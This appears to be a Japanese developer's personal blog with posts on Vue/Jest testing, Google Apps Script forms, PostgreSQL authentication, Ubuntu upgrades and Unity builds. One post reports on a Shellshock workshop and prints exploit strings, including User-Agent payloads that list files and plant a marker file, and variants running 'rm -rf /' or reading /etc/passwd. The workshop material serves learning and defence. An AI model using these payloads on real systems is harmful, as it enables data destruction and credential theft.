建設予定地

当面はやったことの備忘録

Vue.jsでユニットテストを書くために

この記事はLOCAL学生部アドベントカレンダー2020 15日目への寄稿です!
adventar.org

12日目はaruneko99さん。

今回は既存のVue-cliプロジェクトにJestでのテスト環境を構築したこと、その際にはまったところをかき起こしておきたいと思います。

Vue.jsでテストがしたい

Vue.jsでは単体テストの効率化のためにVue Test Utilsを提供しており、こちらはJestやMochaのようなテストランナーと組み合わせて使うのが一般的のようです。
ということで、*Jest+vue-test-utilsを導入してテストを試してみます。

環境
node v14.15.1 yarn 1.22.5 vue 2.6.12
@vue/test-utils 1.1.1

Jest+vue-test-utilsをyarn(npm)でインストール

yarn add -D @vue/test-utils babel-jest jest vue-jest

公式ドキュメント
Jest を使用した単一ファイルコンポーネントのテスト | Vue Test Utils にしたがって環境設定を行います。

package.jsonを編集

// package.json
{
  "scripts": {
    "test": "jest"
  },
    "jest": {
      "moduleFileExtensions": [
        "js",
        "json",
        "vue" // *.vue ファイルを処理するように Jest に指示する
      ],
      "transform": {
        ".*\\.(vue)$": "vue-jest", // vue-jest で *.vue ファイルを処理する
        "^.+\\.js$": "<rootDir>/node_modules/babel-jest" // babel-jest で js を処理する
        },
        "moduleNameMapper": { // ソースコードにある @ を src へと割当てる
          "^@/(.*)$": "<rootDir>/src/$1"
        }
   }
}

次にBabelの設定ファイルを編集します。Jestを使うときはbabel.config.jsまたは.babelrcの2通りの記法があるようですが、今回はすでに用意されていたbabel.config.jsのほうを編集します。

{
  "presets": [["env", { "modules": false }]],
  "env": {
    "test": {
      "presets": [["env", { "targets": { "node": "current" } }]]
    }
  }
}

ここまでの実行結果をみてみる

yarn testで実行します。

FAIL  src/models/order-item.test.js
Test suite failed to run

Cannot find module 'babel-preset-env' from '/home/denham/workspace'
- Did you mean "@babel/env"?

(中略)
Test Suites: 2 failed, 2 total
Tests:       0 total
Snapshots:   0 total
Time:        2.546 s

怒られた...

babel-preset-envが存在しないよといわれているので探します。
babel7における変更点で多くのパッケージがscoped packagesとして提供されるようになり、モジュール名にbabel- がついていたパッケージは@babel/にリネームされているようです。
ということで、babel.config.jsenv@babel/preset-envに書き換えてみます。

テストはファイル名.test.jsとすると自動検知してくれます。

Vue.jsは学習し始めて間もないですが、既存のソースコードのロジック、DOMの状態チェックなど考えなければならないことが多く、想像以上に検証コードを書くハードルは高そうです。

いれて便利なVSCodeExtention

vscode-jest
f:id:denham:20201215184339p:plain テストコード上でDebugが実行できたり、テスト結果をインライン表示してくれて便利。
この恩恵を被れるくらいにテストコードを書けるようになりたい(来年の抱負)

榊さんのアドカレ、勉強になります。

GASでユーザー登録フォームを作った

cistLTサークルのアドベントカレンダー4日目への寄稿です。

adventar.org

目的

友人と共同で制作し、10月のサークル合同LTで発表したWebサイト(未完成)chitose-fts.web.appにお気に入り機能追加したい。

合同LTcist-lt.connpass.comで使用したスライドについてはこちら

経緯

友人とGASを使って共同でまたやろうか、という運びになり

  • スプレッドシートでデータベースっぽいこともっとしたい
  • ユーザー登録ページ作ってお気に入り機能とか実装したいね
  • ページ遷移どうする? -> GASプロジェクトは基本1プロジェクト1htmlしか呼び出せない*1のでページ遷移大変そう...

などなどありました。

結果

わりとなんとかなりました。

実際に作成したページ
script.google.com スプレッドシート
docs.google.com

以下でソースコードと軽い解説を。

<!DOCTYPE html>
<html>

<head>
<base target=”_top”>
</head>

<body>
<h1>ユーザー登録フォーム</h1>

<form action="https://script.google.com/macros/s/AKfycbwLU-A0l5788vTO0sAXT1nL5VYWLNZqCt5hfy8vH8EFO_1rSvY/exec" method="post">
<p>
ユーザー名:<input type="text" name="namae">
</p>
<p>
性別:<br />
<input type="radio" name="gender" value="男性">男性<br />
<input type="radio" name="gender" value="女性">女性
</p>
<p>
<input type="submit" value="送信する">
<input type="reset" value="入力内容をリセットする">
</p>

</form>

</body>

</html>

<input>タグのname属性で付与した名前をスプレッドシートに書き込む際に受け渡します
<form>タグのaction属性でWEBアプリケーションとして公開したページのURLを指定しpostしています

<!DOCTYPE html>
<html>
<head>
<base target=”_top”>
</head>
<body>
送信が完了しました。<br><br>
<!-- ページ内遷移ここから -->
<?var url = getScriptUrl();?>
<input type="button" value="もう一度回答する" onclick="window.top.location.href = '<?!=url?>?page=kakunin';"/>
<!-- ここまで -->
</body>
</html>

ここの<input>タグでページを切り替えるためのボタンを作成しています。
onclicでwindow.top.location.href(現在のページの場所を指します)に<?!=url?>?page=kakunin';"/>を渡してあげることで
kakunin.htmlに遷移させてあげることができます。

function doGet(e) {
    Logger.log( Utilities.jsonStringify(e) );
    if (!e.parameter.page) {
        return HtmlService.createTemplateFromFile('index').evaluate();
    }  
  return HtmlService.createTemplateFromFile(e.parameter['page']).evaluate(); /* page=kakuninのpage,この配列に"kakunin"のようなページ名が追加されていく */
}

function doPost(postdata){

var sh=SpreadsheetApp.openById('1juOUKCyip7z0EBwVFSLriP30whTEBvB_lYJV12ZtEuw');
var time=new Date();

var namae=postdata.parameters.namae.toString();
var gender=postdata.parameters.gender.toString();

sh.appendRow([time,namae,gender]);

  return HtmlService.createTemplateFromFile("result").evaluate();
}

function getScriptUrl() {
    var url = ScriptApp.getService().getUrl();
    return url;
}

doGet()では
function doGet(e)
で、e.parameterの中にURLのパラメーターが配列として格納され、
return HtmlService.createTemplateFromFile(e.parameter['page']).evaluate()
で、URLのpage="kakunin"のパラメーターの値を取得し、変数pageに格納したものを戻り値として返しています

<input type=”submit”>でdoPost関数を呼び出した際の処理をみてみます。
今回のGASはスタンドアロンスクリプトで作成しているので
SpreadsheetApp.openById(“”)
とします。
(
部分に入るシートIDはスプレッドシートのURLのd/と/editの間
https://docs.google.com/spreadsheets/d/**********/edit#gid=597941997 で確認できます)

スクリプトと紐付いていないスプレッドシートを指定して取得しています。
引数で受け取ったオブジェクト型のpostdataをtoString()メソッドで文字列型に変換し、appendRowメソッドでスプレッドシートの最終行にtime,name,genderを追加しています。

感想

ネックだったページ遷移の問題は解決できたので、残る課題はログインページとお気に入り機能の実装ですね。
ゆくゆく着手していきたい。

またサークルのLTなどで何度かプレゼンしているのですが、GASのよいところは

①無料(お財布にやさしい)
②サーバーレスであること
スプレッドシートをデータベースとして代用できること
であると思います

制約のないレンサバはお金かかるし、データベースは学習コストが重いので、小規模でWeb開発したいとか、とりえあずデータベースつかってみたい
って人にもGASおすすめできると思うなぁという記事でした。

余談
f:id:denham:20201204181140p:plain
ページ上部のバナー、英文になってちょっと主張がおちついた感じ

*1:GASのHtmlServiceで提供されるHTMLはホスティングページではないため、Webアプリ公開時に作成されるURLが唯一のURLとなる

PostgreSQL導入備忘録(peer認証エラー)

環境

・Ubuntu18.04(WSL2)
・postgres (PostgreSQL) 11.2

問題

$ psql -U postgres -d postgres コマンドでpsqlにログインできず、 psql: error: FATAL: Peer authentication failed for user "postgres" なるエラーが表示される

原因

・peer認証が有効になっている

peer認証とは、ローカルからのアクセス時にpostgres(OS側)のユーザー名がpostgres(データベース側)のものと一致している場合のみ接続を許可する認証方法で、ここが不一致のために怒られているらしい

解決策

・postgres(OS側)のパスワードを設定
・postgres(データベース側)のパスワードを設定
・クライアント認証設定ファイルのgpg_hba.confを書き換える

$ sudo passwd postgres


$ su - postgres  
$ psql  
psql (11.2)  
Type "help" for help.  
  
postgres=#  

以下のSQL文を実行してパスワードを設定
ALTER USER postgres with encrypted password 'パスワード';

次にfindコマンドでpg_hba.confを探します
$ sudo find / -name pg_hba.conf

自分の環境では
/etc/postgresql/13/main下にありました

# Database administrative login by Unix domain socket  
local   all             postgres                                peer  

の行をみてみる
postgresユーザーからの接続がデフォルトではpeerとなっているので、ここを
peer→md5
と変更

$ /etc/init.d/postgresql restartpsqlを再起動

補足

公式ドキュメント
に従ってインストール後、psqlコマンドを実行すると

error: could not connect to server: No such file or directory Is the server running locally and accepting connections on Unix domain socket "/var/run/postgresql/.s.PGSQL.5432"?

というエラー文が表示される

$ pg_lsclusterspsqlのstatusを確認→サーバーがダウンしている模様

10  main    5432 down   postgres  /var/lib/postgresql/13/main /var/log/postgresql/postgresql-13-main.log

$ /etc/init.d/postgresql startで起動
statusがonline postgresになっていればOK

参考 ryotatake.hatenablog.com www.utsushiiro.jp

Ubuntu 18.04(LTS)→20.04(LTS)アップグレードでハマったこと

以前Python3周りの環境構築でやらかして以降、放置していたUbuntuのアップグレード問題をようやく解決したお話。

前提

UbuntuはOS自体がpythonで動いているので、これを弄ると色々まずいことに。
なので、基本は別途に複数のバージョンをインストールしていくことになります。

Ubuntuを18.04(LTS)→20.04(LTS)にしたい

Ubuntuの最新バージョンへのアップグレードを行うには、以下の手順でやっていくことになります。

sudo apt update
sudo apt install update-manager
sudo apt dist-upgrade
sudo do-release-upgrade -d

ところがパッケージマネージャの処理でエラーが発生。

Your python3 install is corrupted. Please fix the '/usr/bin/python3' symlink

/usr/bin/python3Ubuntuで使用されているデフォルトのPython3バージョンを指すシンボリックリンク(ショートカットのようなもの)であり、
ここのpython3のバージョンがubuntuバージョンの標準のものでないとこのようなエラーが発生するケースがある、とのこと。

Ubuntu18.04で規定のバージョンはpython3.6.8ですが、自分の環境では手動でpython3.8としていました。

update-alternatives --config pythonpythonのバージョンを変更します。

sudo update-alternatives --config python とすることで、実行可能ファイルを確認することができる

以下のコマンドにより
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.6 2

python2、python3の指定した任意のバージョンをそれぞれ登録することができます。(この場合はpython2.7と3.6を実行可能ファイルとして登録できます)
ここで3.6を規定バージョンに変更。

python3 --version のコマンドでバージョンが3.6.8になっていることを確認します。

sudo ln -s /usr/bin/python3.6 /usr/bin/python3 でpython3.6のシンボリックリンクを再作成

が、うまくいかない。 バージョン依存の原因ではないらしい。
もっとシンプル(かつ厄介)で、python3のパッケージが破損しているということでした。

sudo apt-get install python3 を実行したところ、

dpkg: パッケージ libjna-java の処理中にエラーが発生しました (--configure):
パッケージが非常に矛盾した状態に陥りました。設定を試みる
前に再インストールすべきです。
処理中にエラーが発生しました:
python3

パッケージが非常に矛盾しているようです。怖いですね。

ステータスを調べてみる

dpkg -s cacti-spine とすると、

Status: install reinstreq half-installed

インストールが中断されて、半分インストールされた状態になっていた模様。

こういったケースでは-reinstallのコマンドが使えるとのことで、sudo apt-get install --reinstall python3
で再度python3をインストール。

インストールが成功していた場合
Status: install ok installed

となります。
ここでもう一度 sudo do-release-upgrade -dをして確認。
upgrade開始の確認が表示され、yNとすることで成功。

f:id:denham:20201019010820p:plain 無事20.04にアップグレードできました。

まとめ

python3のデフォルトバージョンはうかつに弄らない方がいい(あさはかでした)

参考

codechacha.com qiita.com serverlog.jp qastack.jp

SC4Y ('20#1) サイバーセキュリティ 脆弱性対応 (防災訓練)参加レポート

sc4y.connpass.com

北海道地域情報セキュリティ連絡会(HAISL)主催のセキュリティイベントSC4Yに参加しました。
Zoom+SlackとYoutube Liveを併用してのオンライン開催でした。

本イベントではshellshockを題材にしたハンズオン演習が行われたため、簡単なメモを残しておきたいと思います。

ShellShockとは?

GNU bash における任意のコマンドを実行される脆弱性(悪用できるバグ/セキュリティホール

jvn.jp

実際にバグが仕込まれたのが1993年、Stephane Chazelas氏がこれを報告したのが2014年9月9月の出来事とのこと。

ハンズオンでは、そこから修正パッケージが公開されるまでの一連の流れを攻撃者・防衛側の両サイドから検証する形で追っていきました。

PoCコードについて

PoC(Proof of Concept)コードとは、脆弱性を検証するためのテストコード
$env x='() { :;}; echo vulnerable' bash -c "echo test

envはshellの環境変数設定コマンド
bash -c "echo test"はシンプルなシェルのコード
x環境変数
本当は
env LANG C=dateなどというように使う
x='() { :;};で変数xに魔法の文字列() { :;};とコマンドが入れられている→怪しい

このコマンドを実行すると、想定される実行結果は
test
ですが、
使用している Bash のバージョンに脆弱性が含まれる場合は、 testの他に
vulnerable
という文字列が表示される
環境変数の文字列がコマンドとして実行されてしまうのが問題

echo vulnerable環境変数に攻撃的なコードを埋め込んでいる
たとえば $env x='() { :;}; rm -rf / ' bash -c "echo test" なら、rm -rfでデータをすべて消去
/bin/cat /etc/passwdとしたならアカウント情報窃取
という攻撃ができてしまう

LAB環境についての覚え書き

今回は比較的簡単に検証できる環境としてVirtual Boxを利用

NICというLANカードを介して
有線のLANポート、無線のアンテナのようなもの。

・LAB環境は脆弱性をわざと参照している
外部から攻撃されては困るので、NAT*1といわれる技術で隔離している。

・攻撃者と防衛側の一人二役で行う
Windowsの場合
Tera Termが防衛側(vNIC*2)、Power Shellが攻撃側(lo/ループバックアドレス*3

(攻撃側)偵察行動のコマンド例

windows powerShellの場合
.\curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php

もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php).Content

(攻撃側)拠点確立行動のコマンド例

.¥curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php).Content

curl:http通信
'().../local':User-Agentにbashコマンドを記法
http以下:CGIコンテンツを指定

SlackからPower Shell上にコピペするとcurl.exeの前の\(半角バックスラッシュ)が¥(半角円マーク)に
→そのままではエラーが出るので、Power Shell上で\に書き換えればOK

UserAgentにコマンドを入れるだけで攻撃が成立してしまう怖さ

被害の有無を調査する

shellsockの場合は影響範囲が広く、どこで影響を受けるかわからないため、ありとあらゆるログを見るべき。
たとえば

  • システムログ/var/log/messages
  • 認証ログ/var/log/secure
  • バイス関連ログ/var/log/dmesg/
  • 定期実行処理のログ/var/log/cron
  • メールのログ/var/log/maillog
  • httpdのログ/var/log/httpd/以下

その他にも、データベースを使っているならmysqlのログなど

不審なログを発見するために

異常時のログを見分けるために、正常時にはどんなログが流れているのか、どういう意味なのかを定期的に確認しておくのがよい。

学びとして

セキュリティの勉強はインプットが中心でモチベーションが続きにくく、アウトプットをするにはどうするのがよいだろうか?という質問がありました。
発展的なアウトプット手段としてはSecHack365*4やCTF*5・バグバウンティの紹介なども。

またセキュリティで扱うテーマはとても広いので、最初は興味を持った分野から掘り下げていくのがよいというお話でした。

まだまだ不勉強で理解が追い付かないところが多かったですが、内容の濃いお話がたくさん聞けました。
こうした学びの機会は貴重なので、機会があればぜひまた参加したいです。

www.amazon.co.jp

期末試験が終わったらこれを再開したい

*1:(NAT:Network Address Translation):プライベートIPアドレスグローバルIPアドレスに変換する技術
今回ではvirtaulBoxでsc4y用の仮想マシンを起動すると127.0.0,1 ssh(port22)が10.0.2.15(port22)に変換されるようになっている

*2:仮想NIC

*3:自分自身を指すアドレス,localhostのこと

*4:https://sechack365.nict.go.jp/

*5:Capture The Flag(旗取りゲーム)/別名ハッカーコンテスト

WebGLのビルドで苦戦した話

Unity 1 Week用の作品をUnity Roomに投稿しようと意気込み、Web GLにビルドできない問題が発生。

エラーを見てみると、Pathの設定に問題がありそうな一文が。

どうもプロジェクトフォルダ名とフォルダまでのパスに全角英数字が含まれているとダメらしい...。

 

やったこと

  • 念のためプロジェクト名の半角大文字を小文字に変更

大文字すら怖かった。

 

  • バックアップを取る

Assets→Export packageでアセットデータのエクスポート&フォルダごとコピー。

 

  • CloudBuildを試してみる

Successの表示を確認→ダッシュボートでプレイを実行してみたところ

The webgl build requested was not found

Edgeでもダメでした。こちらは保留。*1

forum.unity.com

 

  • Build先をドキュメントの外に変えてみた

C:\Users\[UserName]\OneDrive

初回はエラーで失敗。

 

再起動して試したところ無事処理が始まり、Node.jsファイアウォールでブロックされているという警告→アクセス許可で成功。

 

am1tanaka.hatenablog.com

 

追記

DドライブのDocumentsにWeb GLフォルダを作り保存

→こちらも無事成功。

 

まとめると、ビルドが上手くいかないときは

  1. フォルダ名とそこに至るまでのパス名の中に日本語全角がないか
  2. Node.jsがブロックされていないか

を確認してみるといいかもしれません。

 

思いのほか時間がかかってしまった。。

作品はunityroomで公開中です。

unityroom.com

右も左もわからない状態でしたが、なんとか形にはできました。

よければ遊んでみてください!

*1:UnityCloudBuildはUnity Teamsという有料サービスに統合されてしまっていたようです。WebGLへの出力にはプロ以上のライセンスが必要とのこと

GAS入門とV8ランタイム

せっかくAmazon Kindle Unlimitedの無料体験中なので、そろそろ本腰入れてGAS入門するぞ、とGoogle Apps Scriptステップアップガイドを始めてみた。

www.amazon.co.jp

以下、躓いた部分のメモ。

 

  • 発生した問題

doGetメソッドの実行でエラー

TypeError: output.append is not a function(行 12)

 

  • 該当箇所

// コード.gs

function doGet() {
var output =
HtmlService.createTemplateFromFile('index');
return output.evaluate().setTitle('Sample page');
}

function getData() {
return ["Windows","Mac OS X","Linux"];
}

 

// index.html

<style>
h1 {font-size:16pt;
background:#AAFFAA;padding:5px;}
p {margin:10px;}
</style>
<h1>Sample page</h1>
<ol>
<?
var datas = getData();
for(var i=0;i<=datas.length;i++){
if(datas[i]==undefined){ break; }
output*1.append('<li>'+datas[i]+'</li>');
}
?>
</ol>

  

  • 解決

V8ランタイムを無効にする

 

GASが旧RhinoランタイムからV8ランタイムに対応した関係*2で、一部の構文が使えなくなってしまった模様。V8ランタイムは現在のJavascriptの標準規格であるECMAScriptに準拠していて、こちらの方がよりモダンなJSを書けますよ、ということらしい。

今回はRhinoエンジンにダウングレードしたことで問題解消。

 

公式V8ドキュメント

developers.google.com

英弱なのでこちらも参照。

qiita.com

*1:GASの暗黙オブジェクト

*2:2020年2月6日より